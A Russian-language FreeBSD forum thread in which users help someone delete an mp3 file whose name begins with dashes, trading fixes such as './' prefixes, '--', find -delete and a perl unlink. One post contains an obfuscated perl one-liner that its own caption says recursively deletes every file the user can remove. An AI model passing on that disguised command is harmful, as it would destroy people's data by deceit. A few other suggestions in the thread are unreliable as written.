Страница 1 из 2

Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 4:36:13
helloworld
Any ideas?

Код: Выделить всё

-rwxr-xr-x  1 user  user      128 Jan 22  2003 ------ Name (2004) ------.mp3

Код: Выделить всё

%rm "------ Name (2004) ------.mp3"
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
       unlink file


Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 4:55:57
paradox
перенести его в папку и снести папку рекурсивно)

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:05:04
f_andrey
helloworld писал(а):Any ideas?

Код: Выделить всё

[> tar cvf "------ Name (2004) ------.mp3" ../pkg_desk
a ../pkg_desk
> ls
------ Name (2004) ------.mp3
> rm "5 минут чтения мана и эксперементов по созданию файла :)"
> ls
> uname -rm
8.0-CURRENT amd64
Да вы батенька затейник ;)
paradox писал(а):перенести его в папку и снести папку рекурсивно)
Не по самурайски хотя и работает, если убедишь cp перенести его :) хотя тоже должно быть возможно :evil:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:06:39
ProFTP

Код: Выделить всё

rm ------\ Name\ \(2004\)\ ------.mp3
а так типо не работает?

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:09:02
f_andrey
ProFTP писал(а):

Код: Выделить всё

rm ------\ Name\ \(2004\)\ ------.mp3
а так типо не работает?
А должно?
Проверь ;-)

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:13:16
ProFTP
нет, пробелы мешают...

Код: Выделить всё

$ touch ------\ Name\ \(2004\)\ ------.mp3 
touch: illegal option -- -
usage:
touch [-A [-][[hh]mm]SS] [-acfhm] [-r file] [-t [[CC]YY]MMDDhhmm[.SS]] file ...

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:14:01
helloworld
tar, cp, mv , rm говорят одно и тоже -

Код: Выделить всё

illegal option -- -

Код: Выделить всё

%rm "------\ Name\ \(2004\)\ ------.mp3"
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
       unlink file


Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:15:14
ProFTP
перлом попробуй удалит

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:23:12
ProFTP

Код: Выделить всё

#!/usr/bin/perl
$num=unlink "------ Name (2004) ------.mp3" or die "piska $!"; 
ил поставь вайн и удали винраром

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:32:10
helloworld
Окей, перл удалил.

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:36:25
paradox
man unlink ?

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:39:55
f_andrey
helloworld писал(а):Окей, перл удалил.
Ну как так можно пожалеть 5 минут на ознакомление с системой :( а ведь вопрос специально выделен в
man rm писал(а):The rm command uses getopt(3) to parse its arguments, which allows it to
accept the `--' ...
Ну и решение крайне просто

Код: Выделить всё

rm "./------ Name (2004) ------.mp3"
там возможны небольшие вариации, так как имя весьма неоднозначно :) а вообще правильно монтируйте и таких траблов возникать не должно.

И пользуйтесь пользуйтесь системой, не боясь читать man если что то не ладится, там все описано :evil: :st: :bn:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:45:07
ProFTP
вот можно всё удалить: (замаскированная команда для рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя)

Код: Выделить всё

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 5:53:41
f_andrey
ProFTP писал(а):вот можно всё удалить: (замаскированная команда для рекурсивного удаления всех файлов, право на удаление которых есть у текущего пользователя)
Ага еше можно систему переустановить :crazy: :crazy: :crazy:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 6:53:46
zg
Способ сложный:

Код: Выделить всё

zg# echo > "------ Name (2004) ------.mp3"
zg# ls -lah
total 6
-rw-r--r--   1 root  wheel     1B 26 июл 09:57 ------ Name (2004) ------.mp3
d--x--x--x   2 zg    wheel   512B 26 июл 09:57 .
drwxr-xr-x  16 zg    wheel   1,5K 13 июл 10:53 ..
zg# rm ------\ Name\ \(2004\)\ ------.mp3
rm: illegal option -- -
usage: rm [-f | -i] [-dIPRrvW] file ...
       unlink file
zg# find . -name "------ Name (2004) ------.mp3"
./------ Name (2004) ------.mp3
zg# find . -name "------ Name (2004) ------.mp3" -delete
zg# ls
zg#
Способ правильный:

Код: Выделить всё

zg# ls
------ Name (2004) ------.mp3
zg# rm ./------\ Name\ \(2004\)\ ------.mp3
zg#
:smile:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 7:06:59
Гость
zg писал(а):Способ правильный:

Код: Выделить всё

zg# ls
------ Name (2004) ------.mp3
zg# rm ./------\ Name\ \(2004\)\ ------.mp3
zg#
:smile:
на мой взгяд использовать -- для завершения парсинга опций более разумно. Например,

Код: Выделить всё

$ fgrep -r -- --help /usr/src/usr.bin
или

Код: Выделить всё

$ rm -- "------ Name (2004) ------.mp3"

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 7:14:30
f_andrey
Гость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
Ну может быть, man тоже рекомендует как первый так и второй способы.

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 7:19:08
zg
Гость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
главное чтобы работало :smile:

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 7:54:46
Гость
f_andrey писал(а):
Гость писал(а):на мой взгяд использовать -- для завершения парсинга опций более разумно.
Ну может быть, man тоже рекомендует как первый так и второй способы.
первый способ подходит только для команд, работающими с именами файлов. Я не просто так привел пример с fgrep(1).

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 15:27:33
gloom
mc тако удаляет переименовывает копирует...

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 20:16:54
Alex Keda
gloom писал(а):mc тако удаляет переименовывает копирует...
ф топку

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-26 21:51:16
gloom
lissyara писал(а):
gloom писал(а):mc тако удаляет переименовывает копирует...
ф топку
желательно но не обезательно

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-27 8:50:59
ViktorichZ
можно и так rm -f '*Name\ \(2004\)*.mp3'
и так rm -f '\-\-\-\-\-\-\ Name\ \(2004\)\ \-\-\-\-\-\-.mp3' =)))

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-27 9:13:10
squid
find использует параметр удаления

Re: Как удалить файл с именем "------ Name (2004) ------.mp3" ?

Добавлено: 2009-07-28 8:41:07
detx
а если отсьавить в папке только это, и rm *.*.
А mc удалять пробовали?????